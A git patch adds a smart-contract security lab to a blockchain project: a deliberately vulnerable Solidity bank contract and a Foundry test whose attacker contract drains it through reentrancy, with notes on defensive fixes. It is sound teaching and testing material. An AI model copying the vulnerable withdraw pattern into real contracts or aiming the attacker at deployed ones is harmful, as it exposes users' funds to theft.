From c4865f17c703e7303d662bb5d411393abf09b766 Mon Sep 17 00:00:00 2001 From: juvdiaz Date: Mon, 29 Jun 2026 19:19:57 -0600 Subject: [PATCH] Add blockchain security playground --- labs/blockchain/README.md | 8 +++ labs/blockchain/SECURITY_LAB.md | 42 +++++++++++++++ .../src/security/VulnerableBank.sol | 23 ++++++++ .../blockchain/test/security/Reentrancy.t.sol | 53 +++++++++++++++++++ 4 files changed, 126 insertions(+) create mode 100644 labs/blockchain/SECURITY_LAB.md create mode 100644 labs/blockchain/src/security/VulnerableBank.sol create mode 100644 labs/blockchain/test/security/Reentrancy.t.sol diff --git a/labs/blockchain/README.md b/labs/blockchain/README.md index eb344b1..bc3f4c7 100644 --- a/labs/blockchain/README.md +++ b/labs/blockchain/README.md @@ -42,3 +42,11 @@ PRIVATE_KEY=0x... forge script script/DeployCounter.s.sol \ ``` Use only Anvil dev keys. Do not paste a real wallet key into a shell. + +## Security Exercises + +The intentionally vulnerable examples live in `SECURITY_LAB.md`. Start with: + +```bash +./jeannie blockchain-test test/security/Reentrancy.t.sol -vv +``` diff --git a/labs/blockchain/SECURITY_LAB.md b/labs/blockchain/SECURITY_LAB.md new file mode 100644 index 0000000..ae67574 --- /dev/null +++ b/labs/blockchain/SECURITY_LAB.md @@ -0,0 +1,42 @@ +# Smart Contract Security Lab + +This folder contains intentionally vulnerable contracts and tests that exploit +them. The goal is to learn how bugs work so you can review and defend contracts +more effectively. + +Never deploy these contracts outside a local devnet. + +## Current Exercises + +### Reentrancy + +Files: + +- `src/security/VulnerableBank.sol` +- `test/security/Reentrancy.t.sol` + +The vulnerable contract sends ETH to the caller before updating internal +balances. The attacker contract re-enters `withdraw` from its `receive` +function and drains more ETH than it deposited. + +Run: + +```bash +./jeannie blockchain-test test/security/Reentrancy.t.sol -vv +``` + +Defensive fixes to practice: + +- checks-effects-interactions +- reentrancy guards +- pull-payment patterns +- avoiding unnecessary raw calls +- invariant tests for total balances + +## Suggested Next Exercises + +- bad access control +- `tx.origin` authentication +- signature replay without chain ID or nonce +- oracle price manipulation simulation +- unsafe upgradeable proxy ownership diff --git a/labs/blockchain/src/security/VulnerableBank.sol b/labs/blockchain/src/security/VulnerableBank.sol new file mode 100644 index 0000000..ab520ef --- /dev/null +++ b/labs/blockchain/src/security/VulnerableBank.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +contract VulnerableBank { + mapping(address account => uint256 balance) public balances; + + function deposit() external payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) external { + require(balances[msg.sender] >= amount, "insufficient balance"); + + (bool ok,) = msg.sender.call{value: amount}(""); + require(ok, "transfer failed"); + + unchecked { + balances[msg.sender] -= amount; + } + } + + receive() external payable {} +} diff --git a/labs/blockchain/test/security/Reentrancy.t.sol b/labs/blockchain/test/security/Reentrancy.t.sol new file mode 100644 index 0000000..db68425 --- /dev/null +++ b/labs/blockchain/test/security/Reentrancy.t.sol @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import {Test} from "forge-std/Test.sol"; +import {VulnerableBank} from "../../src/security/VulnerableBank.sol"; + +contract ReentrancyAttacker { + VulnerableBank private immutable bank; + uint256 private immutable withdrawAmount; + uint256 public reentryCount; + + constructor(VulnerableBank targetBank, uint256 targetWithdrawAmount) { + bank = targetBank; + withdrawAmount = targetWithdrawAmount; + } + + function attack() external payable { + require(msg.value == withdrawAmount, "seed amount mismatch"); + + bank.deposit{value: msg.value}(); + bank.withdraw(withdrawAmount); + } + + receive() external payable { + if (address(bank).balance >= withdrawAmount && reentryCount < 3) { + reentryCount++; + bank.withdraw(withdrawAmount); + } + } +} + +contract ReentrancyTest is Test { + VulnerableBank private bank; + ReentrancyAttacker private attacker; + address private victim = address(0xA11CE); + + function setUp() public { + bank = new VulnerableBank(); + attacker = new ReentrancyAttacker(bank, 1 ether); + + vm.deal(victim, 5 ether); + vm.prank(victim); + bank.deposit{value: 5 ether}(); + } + + function testReentrancyDrainsMoreThanAttackerBalance() public { + attacker.attack{value: 1 ether}(); + + assertEq(attacker.reentryCount(), 3); + assertEq(address(attacker).balance, 4 ether); + assertEq(address(bank).balance, 2 ether); + } +}